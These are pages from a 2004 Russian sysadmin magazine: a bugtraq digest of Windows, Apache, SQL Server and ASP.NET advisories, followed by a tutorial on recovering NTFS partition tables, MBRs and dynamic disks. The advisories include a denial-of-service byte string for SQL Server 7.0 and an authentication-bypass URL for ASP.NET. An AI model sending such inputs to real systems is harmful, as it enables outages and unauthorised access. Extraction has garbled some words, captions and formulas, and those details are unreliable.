Page 79: 023 Системный Администратор 10 2004
Page 80: 023 Системный Администратор 10 2004

78

bugtraq

Удаленное выполнение произвольногокода в Microsoft Windows XP/2003Опасность: критическая.Описание: В Microsoft Windows XP/2003 обнаружено перепол-нение буфера в сжатых (zipped) папках при обработке спе-циально сформированных сжатых файлов. Удаленный ата-кующий может сконструировать специально обработанныйсжатый файл, чтобы выполнить произвольный код на сис-теме пользователя, посетившего злонамеренный веб-сайт.URL производителя: http://www.Microsoft.com.Решение: Установите соответствующее обновление.

Две уязвимости в различных версияхMicrosoft WindowsОпасность: критическая.Описание: В различных версиях Microsoft Windows обна-ружена уязвимость в пути, которым Windows Shell запуска-ет приложения. Удаленный атакующий может сконструиро-вать специально обработанный веб-сайт, чтобы выполнитьпроизвольный код на системе целевого пользователя, по-сетившего этот сайт.

Вторая уязвимость обнаружена в обработке специаль-ных запросов в Program Group Converter. Атакующий мо-жет сконструировать специально обработанный запрос,чтобы выполнить произвольный код на системе целевогопользователя, выполняющего некоторые действия типа от-крытия прикрепленного файла или клика на html-ссылку.URL производителя: www.Microsoft.com.Решение: Установите соответствующее обновление.

Обход парольной защитыв Kaspersky Anti-VirusПрограмма: Kaspersky Anti-Virus 5.0.149, 5.0.153.Опасность: низкая.Описание: Локальный пользователь может работать с при-ложением типа RAMcleaner, чтобы загрузить KAV.exe безаутентификации. Затем пользователь может изменить на-стройки конфигурации.URL производителя: http://www.kaspersky.com.Решение: Способов устранения обнаруженной уязвимос-ти не существует в настоящее время.

Составил Александр Антипов

Удаленный отказ в обслуживаниив Microsoft Windows NT/2000/XPОпасность: средняя.Описание: Уязвимость обнаружена в Microsoft Windows NT/2000/XP: переполнение буфера в службе NetDDE. Уязви-мость позволяет удаленному атакующему выполнить про-извольный код на уязвимой системе с SYSTEM-привилеги-ями. Служба NetDDE по умолчанию отключена.URL производителя: Microsoft.com.Решение: Установите соответствующее обновление.

Удаленный отказв обслуживании в ApacheПрограмма: Apache до версии 2.0.51.Опасность: средняя.Описание: Уязвимость обнаружена в Apache web server вобработке IPv6-адресов.

Удаленный пользователь может представить параметротрицательной длины, который приведет к ошибке сегмен-тации. Уязвимость расположена в apr-util/test/testuri.c и apr-util/uri/apr_uri.c.URL производителя: http://httpd.apache.org.Решение: Установите обновленную версию программы:http://httpd.apache.org/download.cgi?update=200409150645.

Удаленный отказ в обслуживаниив Microsoft SQL Server 7.0Программа: Microsoft SQL Server 7.0 SP3 и более ранниеверсии.Опасность: средняя.Описание: Отказ в обслуживании обнаружен в MicrosoftSQL Server 7.0. Удаленный пользователь может предста-вить чрезмерно большой буфер со специально обработан-ными данными (700 000 байтовый буфер, за которым сле-дует строка \x10\x00\x00\x10\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc\xcc ), чтобы аварийно завершить работу служ-бы mssqlserver.URL производителя: http://www.microsoft.com.Решение: Способов устранения обнаруженной уязвимос-ти не существует в настоящее время.

Удаленное выполнение произвольногокода в Windows Server 2003Опасность: критическая.Описание: В Windows Server 2003 SMTP-компоненте обна-ружена уязвимость при выполнении Domain Name System(DNS) преобразования. Удаленный атакующий может зас-тавить сервер обработать частичный DNS-запрос, чтобы вы-полнить произвольный код на уязвимой системе с SYSTEM-привилегиями. Уязвимость также существует в MicrosoftExchange Server 2003 Routing Engine-компоненте на MicrosoftWindows 2000 Service Pack 3 или на Microsoft Windows 2000Service Pack 4.URL производителя: http://www.Microsoft.com.Решение: Установите соответствующее обновление.

Уязвимость канонизации в ASP.NETПрограмма: Microsoft .NET Framework 1.x.Опасность: средняя.Описание: Уязвимость связана с ошибкой канонизации внут-ри .NET authentication schema. В результате возможно обой-ти аутентификацию на основе форм или WIndows-аутенти-фикацию, используя специально обработанный URL:

Уязвимость воздействует на все версии ASP.NET длявсех версий IIS.URL производителя: http://support.microsoft.com/?kbid=887459.Решение: Установите обновление: http://www.microsoft.com/downloads/details.aspx?FamilyId=DA77B852-DFA0-4631-AAF9-8BCC6C743026.

http://[victim]/secure%5Cfile.apx

Page 81: 023 Системный Администратор 10 2004
Page 82: 023 Системный Администратор 10 2004

80

образование

Master boot record – базовые концепцииПервые жесткие диски были небольшого (даже по тем вре-менам) размера и форматировались практически так же,как и дискеты, однако их объемы стремительно росли, иMS-DOS уже не могла их целиком адресовать. Для преодо-ления этого ограничения был введен механизм разделов(partitions), разбивающий один физический диск на несколь-ко логических, каждый из которых имел свою собственнуюфайловую систему и форматировался независимо от дру-гих. За счет чего это достигается?

В первом секторе физического диска (цилиндр 0/голов-

ка 0/сектор 1) хранится специальная структура данных –master boot record (главная загрузочная запись) или сокра-щенно MBR. Она состоит из двух основных частей – пер-вичного загрузчика (master boot code) и таблицы разделов(partition table), описывающей схему разбиения и геомет-рию каждого из логических дисков. В конце сектора по сме-щению 1FE находится сигнатура 55h AAh, по которой BIOSопределяет признак «загрузочности» сектора. Даже есливы не хотите дробить свой винчестер на части и формати-руете его как один диск, присутствие master boot record обя-зательно.

ВОССТАНОВЛЕНИЕ ДАННЫХ НА NTFS-РАЗДЕЛАХЧАСТЬ 2

КРИС КАСПЕРСКИ

Сегодня мы продолжим говорить о восстановленииданных, сосредоточив свое внимание на загрузочныхсекторах, таблицах разделов, динамических дискахи всех сопутствующих им служебных структурах.

Page 83: 023 Системный Администратор 10 2004

81№10(23), октябрь 2004

образование

При старте компьютера BIOS выбирает загрузочныйвинчестер (обычно Primary Master, но порядок загрузки вбольшинстве BIOS можно изменять, а самые продвинутыеиз них при удержании ESC во время прохождения post (про-цесса начального тестирования оборудования) даже выво-дят интерактивное меню), считывает первый сектор в па-мять по адресу 0000h:7C00h, проверяет наличие сигнату-ры 55h AAh в его конце, и если такая сигнатура действи-тельно обнаруживается, передает управление на0000h:7C000h. В противном случае анализируется следую-щее загрузочное устройство, а если таковое отсутствует,выдается ругательное сообщение.

Первичный загрузчик, получив управление, сканируетpartition table (которая уже загружена в память!), находитактивный раздел (Boot Indicator === 80h), извлекает номерстартового сектора раздела, также называемого boot-сек-тором, загружает его в память по адресу 0000h:7C00h (пред-варительно переместив свое тело в другое место, чтобыизбежать затирания), убеждается в наличии сигнатуры55h AAh, передавая управление по 0000h:7C00h, в против-ном случае выдается ругательное сообщение, и после на-жатия на клавишу компьютер перезагружается. Некоторыезагрузчики поддерживают несколько активных разделов,последовательно перебирая их один за другим, но это ужеотсебятина разработчиков, выходящих за стандартные спе-цификации Microsoft, что, впрочем, никого не смущает.

Если первичный загрузчик поврежден, то BIOS не смо-жет запустить операционную систему с такого диска, одна-ко при подключении его «вторым» (или загрузке с диске-ты) все логические диски будут доступны. Как минимум онидолжны быть «видны», т.е. команды C:, D:, E: выполняютсянормально, правда, работоспособность команды dir уже негарантируется. Во-первых, для этого файловая системасоответствующего раздела должна быть известна загру-женной операционной системе и не повреждена, а во-вто-рых, должен быть цел boot-сектор (но об этом позже).

Partition Table, которую анализирует master boot code, ачуть позже – драйвер логических дисков операционной сис-темы, состоит из четырех 10h-записей, расположенных посмещению 1BEh, 1CEh, 1DEh, 1EEh байт от начала дискасоответственно. Каждая из них описывает свой логическийраздел, задавая его стартовый и конечный сектора, запи-санные в CHS-формате (да! даже если диск работает в LBA-режиме, патриции все равно адресуются через CHS!). Полеотносительного смещения раздела, отсчитываемое от нача-ла таблицы разделов, является вспомогательным, и его из-быточность очевидна. То же самое относится и к полю с об-щим количеством секторов на диске – как будто это нельзявычислить на основе стартового и конечного секторов! Одниоперационные системы и загрузчики игнорируют вспомога-тельные поля, другие же их активно используют, поэтому онидолжны соответствовать действительности.

Поле идентификатора диска содержит уникальную 32-разрядную последовательность, помогающую операцион-ной системе отличить один смонтированный диск от друго-го и автоматически копирующую в следующий ключ реест-ра: HKLM\SYSTEM\MountedDevices. На самом деле Windowsсвободно обходится и без него, поэтому содержимое этогополя некритично.

Поле Boot ID содержит идентификатор файловой сис-темы, установленной на разделе, который в случае NTFSравен 07h. За динамическими дисками согласно фирмен-ной спецификации закреплен идентификатор 42h. На са-мом деле это справедливо лишь для тех из них, что получе-ны путем обновления (update) обычного раздела до дина-мического. Сведения об остальных динамических дисках втаблице разделов не хранятся, а содержатся в последнеммегабайте физического диска в LDM-базе, и для стандарт-ных дисковых менеджеров они не видны. При установкеоперационной системы семейства Windows 9х или UNIX навинчестер, содержащий динамические диски, они могутбыть необратимо утеряны, поскольку согласно таблице раз-делов занятое ими пространство отмечено как свободное.Тем не менее загрузочный логический диск (независимоот того, динамический он или нет) в обязательном порядкедолжен присутствовать в partition table, иначе BIOS не смо-жет его загрузить.

Четырех записей partition table, обеспечивающих всегочетыре логических диска, явно не хватало, но расширятьтаблицу разделов было уже некуда – последняя запись упи-ралась в конец сектора, а использовать следующий секторразработчикам не хотелось, поскольку его активно исполь-зовали многие вирусы и нестандартные драйвера, к томуже это все равно не решало проблемы, а лишь оттягивалоконец. Тогда инженеры нашли другое решение, предложивконцепцию расширенных разделов (Extended partition). Еслиboot ID некоторого раздела равен 05h или 0Fh, он тракту-ется как «виртуальный физический диск»1 со своей соб-ственной partition table, расположенной в его начале, на ко-торую и указывает стартовый сектор расширенного разде-ла. Короче говоря, таблица разделов получается вложен-ной, и уровень вложения ограничен разве что свободнымместом жесткого диска и количеством стековой памяти заг-рузчика (при условии, что он использует рекурсивный ал-горитм сканирования). Таблица разделов как бы размазы-вается вдоль винчестера. Большинство утилит резервиро-вания сохраняют лишь первый сектор, чего явно недоста-точно (впрочем, первый сектор гибнет намного чаще дру-гих, так что даже плохая политика резервирования лучше,чем совсем ничего).

Штатные утилиты разбивки (FDISK.EXE, Disk Manager)в каждой таблице разделов создают один основной и одинрасширенный раздел. То есть при разбиении винчестерана четыре логических диска на нем образуются четыреpartition table (см. листинг 4), хотя в данном случае можно

Ðèñóíîê 1. Ñõåìàòè÷íîå ïðåäñòàâëåíèå ðàçáèòîãî äèñêà

Ðèñóíîê 2. Ðàñøèðåííàÿ òàáëèöà ðàçäåëîâ

1 Термин автора.

Page 84: 023 Системный Администратор 10 2004

82

образование

было бы обойтись и одной. Штатный загрузчик FDISK тре-бует, чтобы активный раздел находился в первом сектореpartition table, «благодаря» чему операционная система мо-жет грузиться только с диска C:. Нестандартные менедже-ры, анализирующие всю цепочку разделов, позволяют заг-ружаться с любого из разделов. Самые честные из них со-здают в первой partition table еще один раздел (благо еслидиск был разбит FDISK, свободное место там всегда есть),назначают его активным и помещают в него свое тело. Дру-гие же внедряются непосредственно в MBR, замещая пер-вичный загрузчик, что создает очевидные проблемы совме-стимости.

Если таблица разделов повреждена, логические диски,скорее всего, будут полностью недоступны – они не ото-бражаются в «Моем Компьютере», не появились в панели«Driver» файлового менеджера FAR, а команда C: вызыва-ет ошибку. Искажение таблицы разделов не приводит к не-медленному изменению объема уже отформатированныхтомов (т.к. он хранится в boot-секторе и картах свободногопространства), но при последующем переформатированиипроизойдет затирание данных из соседнего раздела илиже текущий раздел окажется усечен. Кстати говоря, еслирасширенный раздел указывает сам на себя или на одиниз предшествующих разделов в цепочке, все известные мнеоперационные системы наглухо зависнут еще на этапе заг-рузки, даже если диск подключен «вторым». Чтобы испра-

вить ситуацию, необходимо запустить редактор диска илидругую утилиту, а для этого необходимо загрузить опера-ционную систему! Существует несколько путей выхода изэтой, казалось бы, неразрешимой проблемы. Самое про-стое – горячее подключение диска на ходу с последующейработой с ним через BIOS или порты ввода/вывода. Еслини диск, ни материнская плата не умеют (а для IDE-уст-ройств подключение «на лету» представляется довольножестким испытанием!), вы сможете запустить доктора и ра-ботать с диском на физическом уровне. Другой «хакерский»путь, – пропатчить MS-DOS, изменив сигнатуру 55h AAh начто-нибудь еще, тогда она не сможет распознать таблицуразделом и, стало быть, не станет ее анализировать. Каквариант можно записать в boot-сектор дискеты специаль-но подготовленную программу, которая обнуляет MBR илиискажает сигнатуру, расположенную в его конце. Простозагрузитесь с нее и все!

Master boot record – техникавосстановленияСуществует множество утилит для автоматического восста-новления master boot code и partition table (Get Data Back,Easy Recovery, Active Data Recovery Software и т. д.). Донекоторого времени они вполне успешно справлялись сосвоей задачей, восстанавливая даже полностью уничтожен-ные таблицы разделов, однако с появлением емких вин-

Òàáëèöà 1. Ôîðìàò MBR

Òàáëèöà 2. Ôîðìàò partition

Òàáëèöà 3. Âîçìîæíûå çíà÷åíèÿ Boot ID

Ëèñòèíã 1. Ïðèìåð òàáëèöû ðàçäåëîâ, ñôîðìèðîâàííûé ïðî-ãðàììîé FDISK

Page 85: 023 Системный Администратор 10 2004

83№10(23), октябрь 2004

образование

тов, преодолевших барьер в 2 Гб с помощью всевозмож-ных расширений, они стали часто путаться, и потому дове-рять им нельзя. Если не хотите потерять свои данные – вос-станавливайте MBR самостоятельно (тем более что этодостаточно простая операция, не требующая особой ква-лификации). Восстановление значительно упрощается,если в вашем распоряжении имеется копия таблицы раз-делов, снятая Sector Inspector или подобными ей утилита-ми. Однако чаще всего ее все-таки нет…

Если операционная система отказывается загружать-ся, а на экране появляется ругательство от BIOS типа «DiskBoot failure, Non-System disk or disk error... Press Enter torestart», это указывает на разрушение сигнатуры 55h AAh,обычно сопровождаемое смертью первичного загрузчика.Внимание! Очень важно отличать сообщение BIOS от со-общений первичного загрузчика и boot-сектора. Зайдите вBIOS Setup и отключите все загрузочные устройства, оста-вив активным только диск A: с вытащенной дискетой. А те-перь перезагрузитесь и запомните, какое сообщение по-явится на экране. Это и будет ругательством BIOS.

Восстановить сигнатуру 55h AAh можно в любом диско-вом редакторе. Когда будете это делать, убедитесь, что вначале диска присутствуют осмысленный master boot code(если вы испытываете затруднение с дизассемблировани-ем в уме, воспользуйтесь IDA PRO или HIEW). Вы не умее-те дизассемблировать? Тогда попробуйте оценить степень«нормальности» первичного загрузчика визуально (одна-ко для этого опять-таки требуется опыт работы с кодом). Вначале более или менее стандартного загрузчика располо-жено приблизительно 100h байт машинного кода, в кото-ром обнаруживаются последовательности: 00 7С, 1B 7C,BE 07, CD 13, CD 18, CD 10, 55 AA, а затем идут характер-ные текстовые сообщения: «Invalid partition table, Errorloading operating system, Missing operating system...» ну илиподобные им. Если загрузчик поврежден, но сигнатура55 AA цела, то попытка загрузки с такого диска обернетсянеизменным зависанием.

Восстановить «слетевший» или искореженный первич-ный загрузчик можно с помощью утилиты FDISK.EXE, запу-щенной с ключом /MBR, записывающей в главную загрузоч-

ную запись первого диска стандартный master boor code, иликомандой FIXMBR консоли аварийного восстановления вWindows 2000 (недокументированный ключ /CMBR, появив-шийся в MS-DOS 7.0, позволяет выбирать любой из подклю-ченных дисков). Внимание! Если вы использовали нестан-дартный загрузчик (такой, например, как LILO), то после пе-резаписи MBR сможете загружаться только с основного раз-дела, а для запуска операционных систем из других разде-лов вам придется переустановить свой мультизагрузочныйменеджер (вообще-то такой менеджер можно написать исамостоятельно, при наличии HIEW, а лучше использоватьтранслятор ассемблера – работа не займет и получаса).

Как уже говорилось, некоторые загрузчики изменяютсхему трансляции адресов жесткого диска, и со штатнымзагрузчиком такой диск будет полностью неработоспосо-бен. Попробуйте переустановить загрузчик с дистрибутив-ных дисков – быть может, это поможет. В противном слу-чае ничего не остается, как писать свой собственный заг-рузчик, определять текущую геометрию диска и соответ-ствующим образом транслировать секторные адреса. Этодовольно сложная задача, требующая серьезной подготов-ки, и здесь ее лучше не обсуждать.

Если загрузчик говорит «Invalid partition table», это ещене значит, что таблица разделов повреждена, просто ниодин из основных разделов не назначен активным. Такоеслучается при использовании нестандартных загрузчиков,загружающих операционную систему из расширенногораздела. После выполнения команды FDISK /MBR или приустановке операционной системы, автоматически заменя-ющей первичный загрузчик своим собственным, он не об-наружит в пределах досягаемости ни одного активногораздела, и, естественно, разразится многоэтажным руга-тельством. Такое поведение, в частности, характерно дляWindows 98. Для решения проблемы либо восстановитепрежний загрузчик, либо установите операционную сис-тему на первичный раздел и, запустив FDISK, сделайтеего активным.

Загрузитесь с системной дискеты (другого винчестера,CD-диска) и посмотрите, видны ли ваши логические дискиили нет. Если да, то смело переходите к следующему пунк-

Проблема нулевой дорожкиГлавная загрузочная запись жестко держит за собой первыйсектор, и если он вдруг окажется разрушенным, работа стаким диском станет невозможной. До недавнего временипроблема решалась посекторным копированием винчесте-ра с переносом данных на здоровый жесткий диск с иден-тичной геометрией с последующим восстановлением MBR.

Сейчас ситуация изменилась. Современные винчесте-ры поддерживают возможность принудительного замеще-ния плохих секторов из резервного фонда (а некоторыеделают это автоматически), поэтому проблема нулевойдорожки, преследующая нас еще со времен гибких дискови 8-разрядных машин, наконец перестала существовать.

Механизм замещения секторов все еще не стандарти-зирован и осуществляется утилитами, предоставляемымипроизводителем конкретной модели винчестера. Чаще все-го они распространяются бесплатно и могут быть свободнонайдены в сети. Ëèñòèíã 2. Âíåøíèé âèä òèïè÷íîãî MBR-ñåêòîðà

Page 86: 023 Системный Администратор 10 2004

84

образование

ту, в противном случае соберитесь с духом и приготовь-тесь немного поработать руками и головой.

Восстановление основного раздела, созданного FDISKили Disk Manager, в большинстве случаев осуществляетсяэлементарно, а остальные, как правило, восстанавливатьи не требуется, поскольку именно MBR гибнет чаще всего,а расширенные патриции, рассредоточенные по диску, уми-рают разве что при явном удалении разделов средствамиFDISK/Disk Manager.

Адрес стартового сектора первого логического дискавсегда равен 0/1/1 (Cylinder/Head/Sector), относительный(Relative) сектор – количеству головок жесткого диска,уменьшенных на единицу (сведения о геометрии диска мож-но почерпнуть из любого дискового редактора, в том числеи Sector Inspector). Конечный сектор определить несколькосложнее. Если загрузочный сектор цел (см. «Загрузочныйсектор – техника восстановления»), то узнать количествосекторов в разделе патриции (total sectors) можно и из поляBootRecord.NumberSectors, увеличив его значение на еди-ницу. Тогда конечный цилиндр будет равен:

где Heads – количество головок на физическом диске, аSecPerTrack – количество секторов на трек.

Конечная головка равна:

а конечный сектор равен:

Пропишите полученные значения в MBR и посмотрите,не находится ли за вычисленным концом раздела следую-щий раздел? Это должна быть либо расширенная таблица

разделов, либо boot-сектор. Если это так, создайте еще однузапись в partition table, заполнив его соответствующим об-разом.

А если boot-сектор отсутствует и не может быть восста-новлен, реально ли восстановить таблицу разделов илинет? Да, можно. Необходимо лишь найти boot или partitionследующих разделов, в чем вам поможет контекстный по-иск. Ищите сектора, содержащие сигнатуру 55h AAh в кон-це. Отличить boot от partition очень просто (в boot-секторепо смещению два байта от его начала расположен иденти-фикатор производителя (NTFS, MSWIN4.1 и т. д.). Логично,что размер текущего раздела на один сектор меньше, а знаяразмер и геометрию диска, можно рассчитать и конечныйцилиндр/головку/сектор.

Только учтите, что Windows хранит копию boot-сектора,которая в зависимости от версии может быть расположеналибо в середине раздела, либо в его конце. Другие копиимогут находиться в архивных файлах и файле подкачки.Кстати говоря, посмотрите, не содержится ли среди нихничего удобоваримого. Как отличить копию сектора от ори-гинала? Если это подлинник, вслед за ним пойдут служеб-ные структуры файловой системы (в частности, для NTFSтаблица MFT, каждая запись которой начинается с легкоузнаваемой строки FILE*). Собственно говоря, посколькуслужебные структуры файловой системы обычно распола-гаются на более или менее предсказуемом смещении от-носительно начала раздела, то отталкиваясь от их «геогра-фического» расположения, мы можем установить размерыкаждого из логических дисков, даже если все boot/partitionуничтожены.

Что произойдет, если границы разделов окажутся оп-ределенными неверно? Если мы переборщим, увеличивразмер раздела сверх необходимого, все будет нормальноработать, поскольку карта свободного пространства хра-нится в специальной структуре (у NTFS это файл $bitmap,а у FAT13/32 – непосредственно сама FAT-таблица) и «зап-

Типы динамических дисков,поддерживаемые Windows 2000! Простые (simple): практически ничем не отличаются от

обычных разделов, за исключением того, что при пере-разбиении диска отпадает необходимость в перезагруз-ке. Базовый тип для всех остальных динамических дис-ков.Избыточность: нет.Эффективность: низкая.

! Составные (spanned): состоят из одного или несколь-ких simple-дисков, находящихся в различных разделахили даже устройствах, представленные как один логи-ческий диск. Данные на simple-диски пишутся последо-вательно (классический линейный RAID).Избыточность: нет.Эффективность: низкая.

! Чередующиеся (stripped): то же самое, что и spanned,но данные записываются параллельно на все simple-диски при условии, что они расположены на различныхканалах IDE-контроллера. Это значительно увеличива-ет скорость обмена данными, короче говоря, классичес-кий RAID уровня 0.

Избыточность: нет.Эффективность: средняя.

! Зеркальные (mirrored): два simple-диска, расположенныена разных устройствах, данные дублируются на оба но-сителя (RAID уровня 1).Избыточность: средняя.Эффективность: средняя.

! Чередующиеся с контролем четности (stripped with party):соответствует массиву RAID уровня 5. Состоит из трёхили более дисков. Представляет собой stripped volumeс контролем ошибок. Данные пишутся на два диска, вдва блока, а на третий диск и в третий блок записыва-ется ECC, код коррекции ошибок, с помощью которогопо информации любого из блоков можно восстановитьсодержимое второго блока.Избыточность: высокая.Эффективность: высокая.

! Зеркальный с чередованием (mirrored striped): соответ-ствует массиву RAID 1+0.Избыточность: средняя.Эффективность: высокая.

LastCyl := TotalSectors/(Heads*SecPerTrack)

LastHead := (Total Sector � ↵↵↵↵↵(LastCyl*Heads SecPerTrack))/SecPerTrack

LastSec :== (Total Sector � ↵↵↵↵↵(LastCyl*Heads SecPerTrack)) % SecPerTrack

Page 87: 023 Системный Администратор 10 2004

85№10(23), октябрь 2004

образование

редельные» сектора будут добавлены только после пере-форматирования раздела. Если все, что нам нужно, – этоскопировать данные с восстанавливаемого диска на дру-гой носитель, то возиться с подгонкой параметров partitiontable не нужно! Распахните ее на весь физический диск идело с концом!

Естественно, такой способ восстановления подходиттолько для первого раздела диска, а для всех последую-щих нам потребуется определить стартовый сектор. Этоопределение должно быть очень точным, поскольку всеструктуры файловой системы адресуются от начала логи-ческого диска и ошибка в один-единственный сектор сде-лает весь этот тонкий механизм полностью неработоспо-собным. К счастью, некоторые из структур ссылаются самина себя, давая нам ключ к разгадке. В частности, файлы$mft/$mftmiff содержат номер своего первого кластера. Сто-ит нам найти первую запись FILE*, как мы узнаем, на какомименно секторе мы сейчас находимся (конечно, при усло-вии, что сумеем определить количество секторов на клас-тер, но это уже другая тема – см. раздел «Загрузочный сек-тор – базовые концепции»).

Динамические дискиДинамические диски, впервые появившиеся в Windows 2000, –это все тот же программный RAID, призванный преодолетьограничения стандартных механизмов разбиения с учетомошибок своего прямого предшественника программного RAIDWindows NT, хранящего конфигурационную информацию всистемном реестре, что, во-первых, препятствовало его пе-ремещению с машины на машину, а во-вторых, делало оченьуязвимым к порче реестра.

По умолчанию Windows создает базовые диски (см. рас-шифровку терминов в таблице 5), но всякий базовый дискв любой момент времени может быть обновлен до динами-ческого (это даже не потребует перезагрузки). Динамичес-кие диски не пользуются таблицей разделов, а потому и неимеют проблем, связанных с ограничением CHS-разрядно-сти и позволяют создавать тома практически неограничен-ного размера. Однако динамические диски, созданные пу-тем обновления основных разделов, все-таки остаются вpartition table, при этом их Boot ID меняется на 42h. Если этаинформация окажется удалена, система откажется подклю-чать такой динамический диск. Кстати говоря, Windowsможет быть установлена только на обновленный динами-ческий диск, поскольку BIOS может загружать систему лишьс тех разделов, которые перечислены в partition table, а ди-намические диски, созданные «на лету», в нее как раз и непопадают.

Схема разбиения динамических дисков содержится вБазе Менеджера Логических Дисков – Logical Disk ManagerDatabase или сокращенно LDM. Это протоколируемая(journalled) база данных, поддерживающая транзакции и ус-тойчивая к сбоям. Если в процессе манипуляции с томаминеожиданно исчезнет питание, при последующем включе-нии компьютера будет выполнен откат в предыдущее со-стояние. При переносе винчестера, содержащего один илинесколько динамических дисков, на другую систему, ониавтоматически распознаются и монтируются, как обыкно-венные диски.

LMD-база хранится в последнем мегабайте жесткогодиска, а для дисков, полученных путем обновления базо-вого раздела до динамического, – в последнем мегабайтеэтого самого раздела, идентификатор системы Boot ID со-ответствующей записи в Partition Table принимает значе-ние 42h. Так происходит потому, что при стандартном раз-биении винчестера в его конце просто не остается свобод-ного места и операционной системе приходится сохранятьэту информацию непосредственно в самом обновляемомдиске (естественно, для этого в нем должен быть свободенпо меньшей мере 1 Мб).

Сразу же за таблицей разделов по адресу 0/0/2 распо-ложен приватный заголовок PRIVHEAD, содержащий всебе ссылки на основные структуры LDM (см. рис. 3). ЕслиPRIVHEAD погибнет, Windows не сможет обнаружить исмонтировать динамические диски. А гибнет он удручаю-ще часто. Подавляющее большинство загрузочных виру-сов и дисковых менеджеров считают сектор 0/0/2 свобод-ным и используют его для хранения своего тела, необра-тимо затирая прежнее содержимое. Осознавая значимостьPRIVHEAD, разработчики из Microsoft сохранили его аж вдвух копиях, одна из которых хранится в хвосте LDM, адругая – в последнем секторе физического диска. Благо-даря такой избыточности, PRIVHEAD практически никог-да не приходится восстанавливать вручную, но если этовсе-таки потребуется сделать, обратитесь к проекту LINUX-NTFS за подробным описанием его структуры (http://linux-ntfs.sourceforge.net), здесь же оно по соображениям эко-номии места не приводится.

Внутреннее устройство LDM-базы недокументированои буквально пышет мощью и сложностью. Наверху иерар-хии расположено оглавление базы – структура TOCBLOCK(Table Of Content Block), состоящая из двух секций config иlog (вероятно, в будущем их список будет расширен). Сек-ция config содержит информацию о текущем разбиениидинамических дисков и сведения о томах, а log хранит жур-нал изменений схемы разбивки. Это очень мощное сред-ство в борьбе с энтропией! Если удалить один или несколь-ко динамических разделов, информация о старом разбие-нии сохранится в журнале и утерянные тома могут быть слегкостью восстановлены! Будучи очень важной структу-рой, оглавление диска защищено от случайного разруше-ния тремя копиями, одна из которых вплотную примыкает кнастоящему TOCBLOCK, расположенному в начале LDM-базы, а две другие находятся в конце диска, между копия-ми PRIVHEAD.

Внутренняя секция config состоит из заголовка (VMDB)и одного или нескольких VBLKs – специальных 128-байто-вых структур данных, каждая из которых описывает соот-ветствующий ей том, контейнер, раздел, диск или группудисков. VMDB-заголовок не имеет копии и нигде не дубли-руется, однако все его изменения протоколируются в жур-нале (KLOG) и потому могут быть восстановлены.

Ðèñóíîê 3. LDM-áàçà è åå äèñëîêàöèÿ

Page 88: 023 Системный Администратор 10 2004

86

образование

Строение VMDB и VBLs подробно документировано«LMD Documentation», находящейся на сайте LINUX-NTFSи потому описывать его здесь нет никакой необходимости(оно слишком громоздко, к тому же крайне маловероятно,что кому-то потребуется восстанавливать секцию config ру-ками).

Для просмотра LDM-базы и архивирования ее содержи-мого можно воспользоваться утилитой LDM-dump МаркаРуссиновича, бесплатную копию которой можно скачать сего сайта (http://www.sysinternals.com/files/ldmdump.zip). Каквариант – можно зарезервировать последний мегабайт фи-зического диска и последний мегабайт всех патриций, чейBoot ID равен 42h любым подходящим дисковым редакто-ром (например, Sector Inspector) и сохранить эту информа-цию на надежном носителе (Zip, СD-R/RW), не забывая так-же зарезервировать и TOCBLOCK.

При восстановлении удаленных динамических дисковследует учитывать, что, во-первых, журнал изменений наинтерфейсном уровне недоступен и выполнить откат ле-гальными средствами операционной системы невозможно.Во-вторых, boot-сектор удаляемых дисков автоматическиочищается и восстанавливать его приходится вручную, очем мы чуть позже и поговорим.

Если размер и тип удаленного динамического диска вамизвестен (на NTFS-дисках его можно извлечь из копии boot-сектора), просто зайдите в «Менеджер Управления Диска-ми» и воссоздайте его заново, от предложения отформати-ровать раздел любезно откажитесь и восстановите очищен-ный boot-сектор по методике, описанной ниже.

Как видно, Microsoft тщательно позаботилась о своихпользователях и занималась проектированием структурыдинамических дисков на свежую голову, что для нее вооб-ще говоря нехарактерно.

Загрузочный сектор – базовыеконцепцииПервый сектор логического диска носит название загрузоч-ного (boot). Он содержит самозагрузочный код (bootstrapcode) и важнейшие сведения о геометрии диска, без кото-рых раздел просто не будет смонтирован! Структура boot-сектора определяется архитектурными особенностями кон-кретной файловой системы, в частности NTFS boot sectorвыглядит так:

В начале всякого сектора расположена трехбайтоваямашинная команда перехода на bootstrap code (обычноEB 52 90, хотя возможны и вариации). Так происходит по-тому, что при загрузке boot-сектора в память управлениепередается на его первый байт, а bootstrap код по туман-ным историческим соображениям был отодвинут в конецсектора (для NTFS верхняя граница составляет 54h байт),вот и приходится прыгать блохой!

С третьего по одиннадцатый байты (считая от нуля) хра-нится идентификатор производителя, определяющий тип иверсию используемой файловой системы (например,«MSDOS5.0» для FAT16, «MSWIN4.0»/«MSWIN4.1» для FAT32и «NTFS» для NTFS). Если это поле окажется искажено,драйвер не сможет смонтировать диск и даже может по-считать его не отформатированным! (примечание: с FAT-дисками Windows 2000 будет работать даже с запорченнымOEM ID, чего не скажешь про NTFS).

Следом за идентификатором расположен 25-байтовыйблок параметров BIOS (BIOS Parameter Block или сокра-щенно BPB), хранящий сведения о геометрии диска (числоцилиндров, головок, секторов, размер сектора, количествосекторов в кластере и т. д.). Если эта информация окажет-ся утеряна или искажена, нормальное функционированиедрайвера файловой системы станет невозможным. Причемесли данное число цилиндров/головок/секторов дублируетинформацию, содержащуюся в MBR, а при ее утере эле-ментарно восстанавливается описанным выше способом,то размер кластера определить не так-то просто! Позже мыобсудим этот вопрос более подробно, пока же ограничим-ся следующей табличкой, сообщающей размер кластераNTFS-томов, выбираемой штатной утилитой форматирова-ния по умолчанию (см. таблицу 7).

При выборе размера кластера вручную, Windows 2000поддерживает следующий модельный ряд: 1, 2, 4, 8, 16, 32,64 и 128 секторов. Чем больше размер кластера, тем мень-ше фрагментация и выше предельно адресуемый диско-вый объем, но вместе с тем и выше потери от грануляции.Впрочем, ручное задание размеров кластера встречаетсядостаточно редко.

К блоку параметров BIOS вплотную примыкает его про-должение – extended BPB, хранящий номер первого клас-тера MFT, ее размер в кластерах, номер кластера с зерка-лом MFT и некоторую другую информацию. В отличие отFAT16/32, MFT может располагаться в любом месте диска(для борьбы с BAD-секторами это актуально). При нормаль-ном развитии событий MFT располагается практически всамом начале диска (где-то в районе 4 кластера) и еслитолько она не была перемещена, ее легко найти глобаль-

Ðèñóíîê 4. Âíóòðè LDM

Òàáëèöà 4. Òåðìèíîëîãè÷åñêîå ñîîòâåòñòâèå äèíàìè÷åñêèõè îáû÷íûõ äèñêîâ

